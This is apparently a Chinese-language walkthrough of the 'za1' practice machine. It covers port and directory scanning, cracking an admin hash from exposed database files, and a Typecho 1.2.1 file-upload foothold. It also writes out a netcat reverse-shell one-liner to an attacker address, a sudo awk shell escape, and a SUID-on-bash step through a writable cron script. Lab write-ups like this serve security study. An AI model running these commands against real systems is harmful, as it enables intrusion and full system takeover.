【OSCP】za1

OSCP 靶场

靶场介绍

信息收集

主机发现

nmap -sn 192.168.1.0/24

本地添加dns，这里也可以发现typecho cms 版本为1.2.1

端口扫描

┌──(root㉿kali)-[~]
└─# nmap -sV -A -p- -T4 192.168.1.66
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-29 20:38 EST
Nmap scan report for 192.168.1.66
Host is up (0.00093s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 36:32:5b:78:d0:f4:3c:9f:05:1a:a7:13:91:3e:38:c1 (RSA)
|   256 72:07:82:15:26:ce:13:34:e8:42:cf:da:de:e2:a7:14 (ECDSA)
|_  256 fc:9c:66:46:86:60:1a:29:32:c6:1f:ec:b2:47:b8:74 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Zacarx's blog
|_http-generator: Typecho 1.2.1
MAC Address: 08:00:27:F7:40:AA (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.94 ms 192.168.1.66

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.00 seconds

目录扫描

└─# gobuster dir -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://za1.hmv -x html,txt,php -e
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://za1.hmv
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,php,html
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://za1.hmv/.php                 (Status: 403) [Size: 272]
http://za1.hmv/.html                (Status: 403) [Size: 272]
http://za1.hmv/index.php            (Status: 200) [Size: 6716]
http://za1.hmv/admin                (Status: 301) [Size: 302] [--> http://za1.hmv/admin/]
http://za1.hmv/install              (Status: 301) [Size: 304] [--> http://za1.hmv/install/]
http://za1.hmv/install.php          (Status: 302) [Size: 0] [--> http://za1.hmv/]
http://za1.hmv/sql                  (Status: 301) [Size: 300] [--> http://za1.hmv/sql/]
http://za1.hmv/LICENSE.txt          (Status: 200) [Size: 14974]
http://za1.hmv/var                  (Status: 301) [Size: 300] [--> http://za1.hmv/var/]
http://za1.hmv/usr                  (Status: 301) [Size: 300] [--> http://za1.hmv/usr/]
http://za1.hmv/.html                (Status: 403) [Size: 272]
http://za1.hmv/.php                 (Status: 403) [Size: 272]
http://za1.hmv/server-status        (Status: 403) [Size: 272]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished

权限获取

查看该版本发现存在文件上传漏洞

https://github.com/advisories/GHSA-7rvx-6854-8rw7

漏洞复现参考：https://github.com/m4l4c4t3/typecho-v1.2.1-RCE

方法一：

从目录扫描中发现sql目录下存在sql 文件

下载new.sql 文件发现存在账户密码，使用john 爆破hash 值获取后台管理员账户密码

sqlitebrowser new.sql 

方法二

usr目录下存在db 文件，我们下载后利用在线网站打开https://sqliteviewer.app，同样可以找到后台账户密码

方法三

进入后台后添加php. 后缀，然后找到附近处直接上传php文件

为了方便操作，我们反弹一个交互shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.103 8989 >/tmp/f


python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+z快捷键
stty raw -echo;fg
reset

权限提升

sudo -l 查看发现可以通过za_1用户免密执行awk，执行如下命令提权到za_1用户

www-data@za_1:/home/za_1$ sudo -l
Matching Defaults entries for www-data on za_1:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User www-data may run the following commands on za_1:
    (za_1) NOPASSWD: /usr/bin/awk
www-data@za_1:/home/za_1$ sudo -u za_1 awk 'BEGIN {system("/bin/sh")}'
$ script /dev/null -c bash
Script started, file is /dev/null
za_1@za_1:~$ wh
whatis    whereis   which     while     whiptail  who       whoami
za_1@za_1:~$ whoami 
za_1
za_1@za_1:~$ 
za_1@za_1:~$ cat user.txt 
flag{ThursD0y_v_wo_50}

进入za_1 家目录后，发现存在可疑脚本，下面我们查看是什么进程运行的这个脚本

由于直接查看进程我们受到限制，下面我们下周pspy64 程序进行查看到任务计划定期执行back.sh 脚本

由于该脚本我们有权限修改，所以直接在脚本里面给bash 添加suid 权限

chmod +s /bin/bash

原文始发于微信公众号（贝雷帽SEC）：【OSCP】za1